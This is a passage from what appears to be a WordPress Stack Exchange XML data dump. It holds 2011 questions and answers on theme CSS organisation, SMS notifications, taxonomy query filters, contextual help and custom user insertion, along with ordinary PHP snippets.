&#xA;    if ( is_object( $tag ) )&#xA;        $tag = ( int ) $tag-&amp;gt;term_id;&#xA;&#xA;    $args = wp_parse_args( $args );&#xA;    $args['include'] = get_terms_soft_associated( 'category', array(&#xA;        'taxonomy' =&amp;gt; 'post_tag',&#xA;        'field'    =&amp;gt; is_numeric( $tag ) ? 'term_id' : 'slug',&#xA;        'terms'    =&amp;gt; $tag&#xA;    ) );&#xA;&#xA;    return wp_list_categories( $args );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-18T15:52:04.130" />
  <row Id="20360" PostTypeId="1" CreationDate="2011-06-18T16:04:03.177" Score="4" ViewCount="148" Body="&lt;p&gt;I'm developing a WordPress theme framework. I want organize CSS for each section into separate files for the following reasons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Developers can easily deregister styles by parent theme and load their own styles.&lt;/li&gt;&#xA;&lt;li&gt;Easy to maintain.&lt;/li&gt;&#xA;&lt;li&gt;I can load only the required styles based on the options selected by the user.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Disadvantages&#xA;Extra http requests =&gt; more load on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This disadvantage can be taken care by combining all the CSS files before they are served to the user using plugins like wp-minify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, will this combining process out weigh the above advantages.&lt;/p&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-06-20T04:10:08.510" Title="Splitting WordPress theme CSS into multiple files, good or bad?" Tags="&lt;theme-development&gt;&lt;css&gt;&lt;framework&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" />
  <row Id="20361" PostTypeId="2" ParentId="20360" CreationDate="2011-06-18T16:44:35.023" Score="2" ViewCount="" Body="&lt;p&gt;From &lt;a href=&quot;http://headjs.com/&quot; rel=&quot;nofollow&quot;&gt;http://headjs.com/&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a common misbelief that a single combined script performs best. Wrong:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;latest browsers and Head JS can load scripts in parallel. loading 3 parts in parallel instead of as a single chunk is usually faster.&lt;/li&gt;&#xA;&lt;li&gt;iPhone 3.x cannot cache files larger than 15kb and in iPhone 4 the limit is 25kb. And this is the size before gzipping. if you care about iPhones you should respect these limits&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(i dont know if it means .css and .js or only .js)&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-06-18T16:44:35.023" CommentCount="1" />
  <row Id="20362" PostTypeId="1" CreationDate="2011-06-18T17:00:05.593" Score="0" ViewCount="25" Body="&lt;p&gt;I have a family website, private, requires a WordPress account, in WordPress. Some of my family members would like to get the option for notifications of new posts by email or text message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email seems easy enough, there are plugins and services for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm concerned about text messages because we are geographically spread out, and I would like the option to queue the messages so that they are sent to users only within hours they choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;External services or services based off RSS are not a great fit because the RSS feeds are not public and I'd like to keep it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin suited to these specific requirements?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2011-06-18T17:48:40.817" Title="Mechanism to send to users of secured WordPress install new notifications by SMS or email?" Tags="&lt;email&gt;&lt;notifications&gt;&lt;sms&gt;" AnswerCount="1" />
  <row Id="20363" PostTypeId="1" CreationDate="2011-06-18T17:03:33.527" Score="0" ViewCount="128" Body="&lt;p&gt;Is there a way to hide WordPress behind a web visible directory for extra security using a symlink?&lt;/p&gt;&#xA;" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-18T22:45:06.413" LastActivityDate="2011-06-18T22:45:06.413" Title="Is there a way to hide WordPress behind a web visible directory?" Tags="&lt;links&gt;&lt;security&gt;&lt;directory&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20364" PostTypeId="2" ParentId="20360" CreationDate="2011-06-18T17:20:37.263" Score="0" ViewCount="" Body="&lt;p&gt;Following @edelwater's excellent answer, another side-effect of the 'combine all' mantra is the induction of unused selectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst perhaps unnoticeable on modern desktops, there's still an extra hit on rendering time. For example, &lt;a href=&quot;http://2.bp.blogspot.com/-V04Coubgp3I/Taq11H7uYrI/AAAAAAAABB4/RYmphnt7NL0/s1600/unused-css.PNG&quot; rel=&quot;nofollow&quot;&gt;Chrome audit advises their removal&lt;/a&gt; as part of improving performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, loading &lt;em&gt;every&lt;/em&gt; declaration on-demand is ridiculous (not to mention counter-intuitive). It's down to common sense, plucking out considerable chunks that aren't used for the majority of the site, and loading them in with &lt;code&gt;wp_enqueue_style()&lt;/code&gt; when they're needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;  Yes, of course there'll be overhead if you're combining your stylesheets on-demand (read: for every request). However, I believe plugins like WP Minify cache the output on first request, so there shouldn't be a problem.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-18T17:55:28.907" LastActivityDate="2011-06-18T17:55:28.907" CommentCount="4" />
  <row Id="20365" PostTypeId="2" ParentId="20362" CreationDate="2011-06-18T17:48:40.817" Score="3" ViewCount="" Body="&lt;p&gt;I'd say there's three specific requirements here;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Allow users to choose notification times, timezone aware&lt;/li&gt;&#xA;&lt;li&gt;Hook into &lt;code&gt;transition_post_status&lt;/code&gt; to listen up for new posts, and then take action&lt;/li&gt;&#xA;&lt;li&gt;Find a decent SMS API&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For 1), hook into &lt;code&gt;show_user_profile&lt;/code&gt; to output your time picker field(s), and &lt;code&gt;personal_options_update&lt;/code&gt; to save them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;could&lt;/em&gt; detect the user's timezone automatically, either via IP address or JavaScript, but I'd recommend just a &lt;code&gt;&amp;lt;select /&amp;gt;&lt;/code&gt; that allows them to pick their locale manually (see &lt;code&gt;wp-admin/options-general.php&lt;/code&gt;, lines &lt;code&gt;138&lt;/code&gt; to &lt;code&gt;250&lt;/code&gt; for how WordPress generates a timezone select).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for 2), check out my other answer on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19040/alert-email-when-any-post-or-page-is-changed/19042#19042&quot;&gt;new post notification&lt;/a&gt;. You'll obviously want to modify this to notify all your users (as opposed to just the admin), but it should start you off nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally 3), unless you can find an &lt;a href=&quot;http://stackoverflow.com/questions/238579/free-sms-api&quot;&gt;SMS API&lt;/a&gt; where you can specify the time the message gets sent, you'll have to take advantage of &lt;a href=&quot;http://codex.wordpress.org/Category%3aWP-Cron_Functions&quot; rel=&quot;nofollow&quot;&gt;WP Cron&lt;/a&gt;. Rather than setting an event for &lt;em&gt;each&lt;/em&gt; user, I'd advise setting up an hourly one, that simply looks for any users who should now be notified &amp;amp; fires an SMS request.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-18T17:48:40.817" CommentCount="1" />
  <row Id="20366" PostTypeId="2" ParentId="20363" CreationDate="2011-06-18T17:52:19.250" Score="1" ViewCount="" Body="&lt;p&gt;Symlink will not give you extra security. Since a symlink just links to the directory you want. So if you want to move wp-admin then there will not be much security there since when a users visit's wp-admin it will still load the files. &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-18T17:52:19.250" />
  <row Id="20367" PostTypeId="1" CreationDate="2011-06-18T17:56:48.733" Score="0" ViewCount="115" Body="&lt;p&gt;Would like to filter my home page posts by category &lt;strong&gt;OR&lt;/strong&gt; by tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. only posts that are in category &quot;X&quot; or have tag &quot;B&quot; appear on the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have used code below successfully to filter (include/exclude) just by category&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function exclude_category($query) {&#xA;if ( $query-&amp;gt;is_home ) {&#xA;$query-&amp;gt;set('cat', '3');&#xA;}&#xA;return $query;&#xA;}&#xA;add_filter('pre_get_posts', 'exclude_category');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then tried to add the tag filter by replacing &lt;code&gt;$query-&amp;gt;set('cat', '3');&lt;/code&gt; with&#xA;&lt;code&gt;$query-&amp;gt;set(('cat', '3')||(is_tag('urgent'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no good - did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done ? How ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, help or advice much appreciated&lt;/p&gt;&#xA;" OwnerUserId="6303" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-18T22:44:44.387" LastActivityDate="2011-06-18T22:44:44.387" Title="Filter my home page posts by category or by tag" Tags="&lt;customization&gt;&lt;query-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20368" PostTypeId="1" AcceptedAnswerId="20374" CreationDate="2011-06-18T18:40:36.953" Score="0" ViewCount="90" Body="&lt;p&gt;Is  there any way to filter all post queries and add a specific taxonomy?  Case in point, I have a taxonomy object of &quot;Region&quot; with terms like &quot;Global&quot;, &quot;Americas&quot;, &quot;Europe&quot;, etc.  (Users designate their region in their user profile through custom fields which is stored as a usermeta value and added the user cache object.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea being that as the signed-in user navigates the site, they'd only see content designated within their region.  Obviously I could write a custom query per page to include their region, but I was wondering if there was a way to tap into the query object and add the taxonomy requirement regardless of what the query was for (e.g, post, custom post type, archive page, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated! Thanks. &lt;/p&gt;&#xA;" OwnerUserId="6304" LastActivityDate="2011-06-18T22:12:21.907" Title="Filter all queries with a specific taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="20369" PostTypeId="1" AcceptedAnswerId="20390" CreationDate="2011-06-18T20:37:49.657" Score="0" ViewCount="85" Body="&lt;p&gt;first of all sorry for my bad english. Let me explain what I`m trying to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a column inside a SQL table with a string using the following format: yy-mm-dd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, it doesn`t use a dateformat type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have my query, where I need to capture all fields with the following specification: value &amp;lt;= '{$thisyear}-{$thismonth}-{$last_day}' any way that I can do that withoung having to change the field format? As long as the tables are generated by the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be really appreciated, thank you guys!&lt;/p&gt;&#xA;" OwnerUserId="4248" LastActivityDate="2011-06-19T04:58:32.430" Title="Help with wordpress custom query and advanced custom fields plugin" Tags="&lt;query&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20370" PostTypeId="2" ParentId="20326" CreationDate="2011-06-18T21:11:54.380" Score="1" ViewCount="" Body="&lt;p&gt;OK, I figured it out. It took a bit of digging and many bad suggestions. The solution is actually quite simple. Just replace this in your theme files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where you have this&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;comments&quot;&amp;gt;&#xA;        &amp;lt;?php comments_template(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Replace it with this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;div class=&quot;comments&quot;&amp;gt;&#xA;            &amp;lt;?php if ( comments_open() ) : ?&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;p&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;?php comments_template(); ?&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I thought this was a little ironic, but if you switch your theme to twenty-eleven (the theme that replaces twentyten in 3.2 Beta) it doesn't remove comments like they suggest you should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can replace the other code that you are using for the comments_popup_link with the similar condition like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;comments&quot;&amp;gt;&#xA;&amp;lt;?php if ( comments_open() ) : ?&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;p&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;?php comments_popup_link('0', '1', '%'); ?&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how the theme review works 100%, but the theme check plug-in says you passed! Here is a screenshot. &#xA;&lt;img src=&quot;http://i.stack.imgur.com/7pOOE.jpg&quot; alt=&quot;You Passed Screenshot&quot;&gt;&#xA;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="5339" LastEditorUserId="5339" LastEditorDisplayName="" LastEditDate="2011-06-18T21:26:55.673" LastActivityDate="2011-06-18T21:26:55.673" />
  <row Id="20372" PostTypeId="2" ParentId="20118" CreationDate="2011-06-18T21:54:28.380" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if this is want you are looking for, but one approach could be hiding the registration altogether for all user, but the users from countries and territories you need. &#xA;Here is a plugin I've been checking out myself, but I must admit, I haven't used it on a production site yet. It looks solid, though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wp-geolocation.com/&quot; rel=&quot;nofollow&quot;&gt;WP-Geolocation-JS&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-18T21:54:28.380" />
  <row Id="20373" PostTypeId="2" ParentId="20367" CreationDate="2011-06-18T22:01:10.320" Score="1" ViewCount="" Body="&lt;p&gt;You can use the following code to list the posts that are categorized under category id 3 OR have tag 'urgent'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function exclude_category($query) {&#xA;    if ( $query-&amp;gt;is_home ) {&#xA;        $query-&amp;gt;set( 'tax_query', array(&#xA;            'relation' =&amp;gt; 'OR',&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'category',&#xA;                'field' =&amp;gt;  'ID',&#xA;                'terms' =&amp;gt; 3&#xA;            ),&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'post_tag',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; 'urgent'&#xA;            )&#xA;        ));&#xA;    }&#xA;    return $query;&#xA;}&#xA;add_filter('pre_get_posts', 'exclude_category');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-18T22:01:10.320" CommentCount="1" />
  <row Id="20374" PostTypeId="2" ParentId="20368" CreationDate="2011-06-18T22:12:21.907" Score="1" ViewCount="" Body="&lt;p&gt;Below code is an example that does what you want. See &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;tax_query&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_get_posts( $query ) {&#xA;    // we only need to modify the query for logged in users&#xA;    if ( !is_user_logged_in() ) return;&#xA;    $current_user = wp_get_current_user();&#xA;    // assuming that user's region is stored as user_region meta key&#xA;    $user_region = get_user_meta( $current_user-&amp;gt;ID, 'user_region', true );&#xA;    $query-&amp;gt;set( 'tax_query', array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'region',&#xA;            'field' =&amp;gt;  'slug',&#xA;            'terms' =&amp;gt; $user_region&#xA;        )&#xA;    ));&#xA;    return $query;&#xA;}&#xA;add_filter( 'pre_get_posts', 'my_get_posts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-18T22:12:21.907" CommentCount="3" />
  <row Id="20375" PostTypeId="2" ParentId="12563" CreationDate="2011-06-18T22:16:38.463" Score="0" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper&lt;/a&gt; plugin to give authors the &lt;code&gt;manage_categories&lt;/code&gt; capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, if you want to approve all posts before their published, give your users the &lt;strong&gt;contributor&lt;/strong&gt; role - this'll also mean you can approve new categories they've added before they appear on the site (by default, only categories that have published posts will appear).&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-18T22:16:38.463" CommentCount="2" />
  <row Id="20376" PostTypeId="1" CreationDate="2011-06-18T23:32:31.707" Score="0" ViewCount="76" Body="&lt;p&gt;Is there a way to control the order in which connections are displayed ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Articles =&gt; Books connection so that in each article I can quote a number of books. I want to display the quoted books in the footnotes of the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, if I create say three books connections and then display them at the bottom of my article, I will get them in reverse order. Can I change that ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastActivityDate="2011-08-20T13:35:16.250" Title="[Plugin: Posts 2 Posts] display order of connections" Tags="&lt;posts&gt;&lt;customization&gt;&lt;type&gt;" AnswerCount="2" />
  <row Id="20377" PostTypeId="1" CreationDate="2011-06-19T00:43:56.280" Score="0" ViewCount="71" Body="&lt;p&gt;Is there any way to make individual attachments private similar to how a post can be made private? I've looked through various plugins but none really seem to do the job. They usually make all attachments private which I do not want.&lt;/p&gt;&#xA;" OwnerUserId="6309" LastActivityDate="2011-06-19T00:43:56.280" Title="Make individual attachments private? Wordpress 3.1.3" Tags="&lt;attachments&gt;&lt;private&gt;" />
  <row Id="20378" PostTypeId="1" CreationDate="2011-06-19T00:44:05.563" Score="0" ViewCount="28" Body="&lt;p&gt;So i have no clue, rather this is doable or not, if it is worth it(Well it is worth it for me) and so on. I will start out by saying that I'm making a theme that, if you have multisite enabled, should have some extra cool features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I want to control advertisements from the theme-options.php page, on the root site. And then be able to get the advertisement url down on the other sites in the network. Like say, i would advertise for Nike, then i only has to change it in the root theme options(the other's shouldn't be able to change it), and it would display on all sites in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Something in a way like the first. So i have a feature slider, with an image of each person who owns a site, and a link to their site. The image is set in theme options, and you can maximum add up to 8, and you have to put in the links. What i'd like is that for each site, it generates a option, so thatyou only have to upload the image from the theme options page. So i'm not sure if you can do this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the current code that generates the image theme option...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    array(&#xA;        &quot;name&quot; =&amp;gt; &quot;Image #1&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Post in the link to the image.&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname . &quot;_homeimage1&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;image&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;    ),&#xA;&#xA;    array(&#xA;        &quot;name&quot; =&amp;gt; &quot;Image Link #1&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Post in the link, that the image should link to.&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname . &quot;_homeimagelink1&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;    ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on, can i somehow make this in a loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Oluf.&lt;/p&gt;&#xA;" OwnerUserId="6308" LastActivityDate="2011-06-19T00:44:05.563" Title="Tweaking the theme options" Tags="&lt;theme-development&gt;&lt;theme-options&gt;&lt;network&gt;" CommentCount="1" />
  <row Id="20379" PostTypeId="2" ParentId="20376" CreationDate="2011-06-19T00:56:20.820" Score="0" ViewCount="" Body="&lt;p&gt;you could pass &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;Order &amp;amp; Orderby Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your code would be something like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ( have_posts() ) : the_post();&#xA;    $connected_writers = get_posts( array(&#xA;        'post_type' =&amp;gt; 'writer',&#xA;        'nopaging' =&amp;gt; true,&#xA;        'connected_to' =&amp;gt; $post-&amp;gt;ID,&#xA;        'suppress_filters' =&amp;gt; false,&#xA;        'orderby' =&amp;gt; 'title',&#xA;        'order' =&amp;gt; 'DESC'&#xA;    ) );&#xA;&#xA;    foreach ( $connected_writers as $writer ) {&#xA;        echo $writer-&amp;gt;post_title;&#xA;    }&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-19T00:56:20.820" CommentCount="2" />
  <row Id="20380" PostTypeId="1" CreationDate="2011-06-19T00:56:58.147" Score="0" ViewCount="77" Body="&lt;p&gt;is their any plugin that will allow a registered user to feedback comment into author.php ?&#xA;Just like there is the comments template into single.php but I want that in author.php&lt;/p&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="4448" LastEditorDisplayName="" LastEditDate="2011-06-19T03:35:06.370" LastActivityDate="2011-06-19T03:35:06.370" Title="Plugin to send feedback in the form of a comment on author.php" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;&lt;author&gt;" CommentCount="4" />
  <row Id="20381" PostTypeId="1" CreationDate="2011-06-19T01:05:24.740" Score="0" ViewCount="36" Body="&lt;p&gt;I am looking for a plugin or a code that will allow admin to select an author and &quot;ban&quot; him from logging in the system and also to unpublish his posted content until the admin decide to allow the entrance again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should include posts, author page and comments if it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your replies.&lt;/p&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="4448" LastEditorDisplayName="" LastEditDate="2011-06-27T21:23:51.440" LastActivityDate="2011-06-27T21:23:51.440" Title="Plugin to restrict login and unpublish content from an author" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" />
  <row Id="20382" PostTypeId="1" CreationDate="2011-06-19T01:05:43.960" Score="1" ViewCount="82" Body="&lt;p&gt;Ok. Going to try and explain this as best as I can, so bare with me. Anyway, I'm trying to include the default media uploader as a part of my plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I've successfully managed to use the filter &lt;code&gt;attachment_fields_to_edit&lt;/code&gt; to hide most of the input fields, leaving only the title &amp;amp; alternate text fields, alongside a custom submit button. When clicked, this button gets the images URL and places it into a &lt;code&gt;div&lt;/code&gt; on the parent page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, so here is my problem. Everything regarding the uploader itself is functioning how I want it to, but currently the filter is applying itself to the media uploader in posts, pages, the media library, etc. I only want the alternative fields &amp;amp; custom button to show within my plugin, but not elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried everything, but I cannot get it to work. I managed to apply my own query to the media-upload.php URL, and that way I could make the alternative fields only show within my plugin on the thickbox 'library' tab, but when uploading a new image the default fields were showing because Wordpress uses an alternative file to upload the image; async-upload.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the entire function: &lt;a href=&quot;http://pastebin.com/5vpecMvL&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/5vpecMvL&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just some information on the various functions: &lt;code&gt;riva_slider_pro_info()&lt;/code&gt; is a function that returns an array of values. &lt;code&gt;riva_slider_pro_uri( $search )&lt;/code&gt; gets $_SERVER[ 'REQUEST_URI' ] and stores it in a variable, search its for the $search parameter and return true or false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 'libary' tab within the media uploader thickbox, it is returning &lt;code&gt;true&lt;/code&gt; because I have passed a additional query onto the media-upload.php URL (for example, 'media-upload.php?post_id=0$slideshow=true&amp;amp;type=image&amp;amp;TB_iframe=1'). BUT, it is returning &lt;code&gt;false&lt;/code&gt; after the user has just uploaded a new image within the same thickbox, because it uses the async-upload.php file instead. Not sure how I could pass the query onto this URL, if it would be possible to make it work that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise this may be hard to follow, but I've tried my best to explain it. I'm literally pulling my hair out over this one and spent a ridiculous amount of time trying to figure it out. Appreciate any comments or suggestions, or ideally a solution! Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1432" LastActivityDate="2011-06-19T01:05:43.960" Title="Manipulating Media uploader" Tags="&lt;media-upload&gt;&lt;thickbox&gt;" FavoriteCount="1" />
  <row Id="20384" PostTypeId="1" AcceptedAnswerId="20388" CreationDate="2011-06-19T01:36:52.547" Score="0" ViewCount="36" Body="&lt;p&gt;I'm missing something here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function page_help($contextual_help, $screen_id, $screen) {&#xA;&#xA;if ($screen_id == 'page') {&#xA;&#xA;    $contextual_help = '&#xA;    &amp;lt;h5&amp;gt;Shortcodes&amp;lt;/h5&amp;gt;&#xA;    &amp;lt;p&amp;gt;Shortcodes help&amp;lt;/p&amp;gt;&#xA;    '.$contextual_help;&#xA;&#xA;    return $contextual_help;&#xA;}&#xA;&#xA;elseif ($screen_id == 'post') {&#xA;&#xA;    $contextual_help = '&#xA;    &amp;lt;h5&amp;gt;Post help&amp;lt;/h5&amp;gt;&#xA;    &amp;lt;p&amp;gt;Help is on its way!&amp;lt;/p&amp;gt;&#xA;    '.$contextual_help;&#xA;&#xA;    return $contextual_help;&#xA;}&#xA;}       &#xA;&#xA;add_filter('contextual_help', 'page_help', 10, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is inserting into the correct screens but I am having two issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The code is inserting at the top, I'd like it at the bottom.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The code is deleting the help from all other screens except those mentioned above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your tips!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Niels&lt;/p&gt;&#xA;" OwnerUserId="6068" LastActivityDate="2011-06-20T12:03:33.500" Title="Issue with contextual help overwriting existing content" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;contextual-help&gt;&lt;screen-options&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="20385" PostTypeId="1" CreationDate="2011-06-19T01:49:45.470" Score="0" ViewCount="37" Body="&lt;p&gt;I am using WordPress to build a custom app and I had the need of using custom IDs as the WordPress IDs, so I just used a custom function to insert user but the problem is several other WordPress related user meta is filling up in the table. I am not sure when they get created, I couldn't find if its attached to a register hook or something. Does it happen when the user logins the first time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom insert function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_insert_user( $userdata ) {&#xA;    global $wpdb;&#xA;&#xA;    extract($userdata, EXTR_SKIP);&#xA;&#xA;    $user_login = sanitize_user($user_login, true);&#xA;    $user_login = apply_filters('pre_user_login', $user_login);&#xA;&#xA;    //Remove any non-printable chars from the login string to see if we have ended up with an empty username&#xA;    $user_login = trim($user_login);&#xA;&#xA;    if ( empty($user_login) )&#xA;        return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') );&#xA;&#xA;    if ( username_exists( $user_login ) )&#xA;        return new WP_Error('existing_user_login', __('This username is already registered.') );&#xA;&#xA;    if ( empty($user_email) )&#xA;        $user_email = '';&#xA;    $user_email = apply_filters('pre_user_email', $user_email);&#xA;&#xA;    if ( email_exists($user_email) )&#xA;        return new WP_Error('existing_user_email', __('This email address is already registered.') );&#xA;&#xA;    if ( empty($user_registered) )&#xA;        $user_registered = gmdate('Y-m-d H:i:s');&#xA;&#xA;    $user_pass = wp_hash_password( $user_pass );&#xA;&#xA;    $data = compact( 'ID', 'user_pass', 'user_email', 'user_login', 'user_registered' );&#xA;    $data = stripslashes_deep( $data );&#xA;&#xA;    